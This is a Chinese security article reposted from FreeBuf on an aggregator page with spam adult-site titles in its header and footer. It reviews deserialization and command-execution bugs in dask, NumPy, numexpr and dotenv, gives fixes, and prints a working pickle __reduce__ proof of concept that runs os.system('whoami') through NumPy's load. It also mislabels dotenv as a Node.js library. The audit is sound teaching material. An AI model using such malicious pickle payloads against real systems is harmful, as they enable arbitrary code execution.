成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Python代碼審計實戰案例總結之反序列化和命令執行

安全 應用安全
目前Python代碼審計思路,呈現分散和多樣的趨勢。Python微薄研發經驗以及結合實際遇到的思路和技巧進行總結,以便于朋友們的學習和參考。

一、介紹

Python代碼審計方法多種多樣,但是總而言之是根據前人思路的遷移融合擴展而形成。目前Python代碼審計思路,呈現分散和多樣的趨勢。Python微薄研發經驗以及結合實際遇到的思路和技巧進行總結,以便于朋友們的學習和參考。

二、反序列化審計實戰

反序列化漏洞在Python代碼審計中屬于常見高危漏洞之一,它的危害性根據執行環境略有不同,本地和遠程分別為7.2和10的評分。通過評分也可得知漏洞危害是顯而易見。那么咱們應該如何發現這個漏洞?關于發現此種漏洞要從反序列化的模塊說起,Python的反序列化模塊主要為pickle、cPickle、yaml等等。有關反序列化漏洞問題在多年前就被人們所發現,目前所看到的大多數反序列化漏洞是由于應用調用了存在問題的反序列化模塊。那么咱們抓住尋找反序列化模塊則有可能會發現反序列化漏洞。

1. dask 命令執行漏洞(CNVD-2019-16789)

關于這個漏洞是筆者在2019年審計anaconda環境模塊時候發現,提交CNVD通過驗證,雖然是本地觸發漏洞,但絕對是關于反序列化漏洞很好的案例,漏洞利用yaml模塊問題進行反序列化。

(1) 漏洞分析

漏洞影響的版本 1.1.4 ,漏洞出現于dask模塊中config.py文件,第139行。源于程序通過coolect_yaml方法中使用了yaml所導致的問題,方法用途從yaml文件收集配置。

其中第148行會判斷是否為目錄,傳入文件就能繼續執行。漏洞觸發在第168行,使用了yaml.load執行了反序列化。

到此咱們通過POC觸發存在反序列化的方法,即可造成代碼執行問題。

(2) 漏洞POC

漏洞驗證截圖:

(3) 修復方法

yaml 在對于反序列化問題上,已經提供了安全反序列化的解決方法,程序使用yaml.safe_load可以進行安全的反序列化。咱們對于審計問題的修復建議根據實際情況使用。

2. NumPy 命令執行漏洞(CVE-2019-6446)

在NumPy 1.16.0版本之前存在反序列化命令執行漏洞,用戶加載惡意的數據源造成代碼執行。按照慣例在講這個反序列化之前要說明Python的pickle的反序列化原理和棧指令。但不是本篇重點,故暫不討論。

(1) 漏洞分析

咱們直接從代碼層說起,漏洞的入口,lib/npyio.py 第288行附近。在這里存在使用反序列化模塊的方法,并且allow_pickle值為True。allow_pickle 允許使用 Python pickles 保存對象數組,Python 中的 pickle 用于在保存到磁盤文件或從磁盤文件讀取之前,對對象進行序列化和反序列化。通俗講是個開關,并默認開啟。

漏洞觸發位置,位置在lib/npyio.py,第418行。這里有反序列化加載的方法。筆者將一些代碼省略,直觀看重點。默認格式要求ZIP文件前綴PK\x03\x04后綴PK\x05\x06,如果不滿足默認的格式,則會執行pickle.load()反序列化方法。

到此執行流程為 NumPy.lib.npyio.py:load()=>pickle.py:load()。

  1. try: 
  2.     # Code to distinguish from NumPy binary files and pickles. 
  3.     _ZIP_PREFIX = b'PK\x03\x04' 
  4.     _ZIP_SUFFIX = b'PK\x05\x06' # empty zip files start with this 
  5.     ……  
  6.     if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX): 
  7.     …… 
  8.     elif magic == format.MAGIC_PREFIX: 
  9.     …… 
  10.     else: 
  11.         # Try a pickle 
  12.         if not allow_pickle: 
  13.             raise ValueError("Cannot load file containing pickled data " 
  14.                              "when allow_pickle=False") 
  15.         try: 
  16.             return pickle.load(fid, **pickle_kwargs) 
  17.         except Exception: 
  18.             raise IOError( 
  19.                 "Failed to interpret file %s as a pickle" % repr(file)) 
  20. finally: 
  21.      …… 

(2) 漏洞POC

綜上所述,編寫POC如下:

  1. from numpy.lib import npyio 
  2. from numpy import __version__ 
  3. print(__version__) 
  4. import os 
  5. import pickle 
  6. class Test(object): 
  7.     def __init__(self): 
  8.         self.a = 1 
  9.     def __reduce__(self): 
  10.         return (os.system,('whoami',)) 
  11. tmpdaa = Test() 
  12. with open("test-file.pickle",'wb') as f: 
  13.     pickle.dump(tmpdaa,f) 
  14. npyio.load("test-file.pickle") 

測試結果如圖:

三、命令執行審計實戰

在Python模塊中命令執行漏洞同樣較為常見、危害較大。在審計命令執行時,大多時候程序可能會在滿足特定條件下才能執行命令,也可能需要在不同的系統中才會執行命令,所以需要關注代碼邏輯和某些特性。

1. numexpr 命令執行漏洞(CNVD-2019-17298)

Numexpr是機器學習模塊NumPy的一個加速包,主要用于提高NumPy的性能。

(1) 漏洞分析

在該模塊/numexpr/cpuinfo.py 第37行,存在執行命令的方法。

getoutput 就是存在問題的方法,通過邏輯在.popen中進行命令執行,但是由于os.WIFEXITED(status)和os.WEXITSTATUS(status)只在linux下支持所以在windows下面執行會報錯。linux 下當status 為全局變量并且賦值為0的時候,os.WIFEXITED(status)結果為True,os.WEXITSTATUS(status)結果為0。根據代碼邏輯:if os.WIFEXITED(status) and os.WEXITSTATUS(status) in successful_status:所以successful_status =(True,0),并通過形參傳入,最終導致命令執行問題。

(2) 漏洞POC

漏洞POC和執行結果:

2. dotenv 命令執行漏洞(CNVD-2019-17299)

dotenv是一個使Node.js從文件中加載環境變量的庫。

(1) 漏洞分析

漏洞存在于dotenv 0.10.1版本中的main.py文件之中,第317行,可見該方法形參傳入命令和環境變量。但是由于未對可用命令進行過濾導致任意命令執行問題。

圖片9.png

(2) 漏洞POC

漏洞POC和執行結果:

總結

通過以上案例和總結,相信咱們能夠進一步提高Python審計的功力。這些漏洞在Python審計中比較典型,如果在文章中哪里存在疏忽,盼斧正。

 

責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2009-09-09 16:10:11

.NET序列化和反序列

2019-12-13 10:24:05

PythonSQL注入ORM注入

2009-08-24 17:14:08

C#序列化

2011-05-18 15:20:13

XML

2011-06-01 15:05:02

序列化反序列化

2010-03-19 15:54:21

Java Socket

2022-08-06 08:41:18

序列化反序列化Hessian

2009-08-06 11:16:25

C#序列化和反序列化

2023-12-13 13:49:52

Python序列化模塊

2019-11-20 10:07:23

web安全PHP序列化反序列化

2009-06-14 22:01:27

Java對象序列化反序列化

2009-08-25 14:24:36

C#序列化和反序列化

2009-08-25 14:43:26

C#序列化和反序列化

2021-11-18 07:39:41

Json 序列化Vue

2009-07-29 13:39:02

JSON序列化和反序列ASP.NET AJA

2018-03-19 10:20:23

Java序列化反序列化

2009-09-09 15:47:27

XML序列化和反序列化

2009-09-09 14:45:41

XML序列化和反序列化

2011-06-01 14:50:48

2012-04-13 10:45:59

XML
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 日韩在线视频一区 | 久久国产一区二区三区 | 欧美久久精品一级c片 | 久久综合狠狠综合久久综合88 | 免费黄色片在线观看 | caoporn免费| 久久亚洲一区二区三 | 欧美日韩国产中文字幕 | 午夜影院 | www成人免费视频 | 日本久久综合网 | 91 久久 | 亚洲丝袜天堂 | 亚洲一区二区久久 | 国产一级网站 | 韩日一区二区 | 无码日韩精品一区二区免费 | 中文字幕在线人 | 欧美1区2区 | 久久久久中文字幕 | 一区二区精品视频 | 精品一区二区在线观看 | 99精品久久久 | 免费毛片网 | 亚洲一区中文字幕在线观看 | 亚洲精品国产第一综合99久久 | 国产一区久久 | 国产精品一区二区在线观看 | 中文字幕国产精品 | 在线观看av中文字幕 | 亚洲va欧美va天堂v国产综合 | 一区二区三区精品在线 | 国产成人免费网站 | 久久91精品国产一区二区三区 | 日韩成人高清在线 | 国产乱码一二三区精品 | 伊人精品一区二区三区 | 久久久久久国产精品免费免费狐狸 | 精国产品一区二区三区 | 国产精品美女久久久 | 亚洲欧洲av在线 |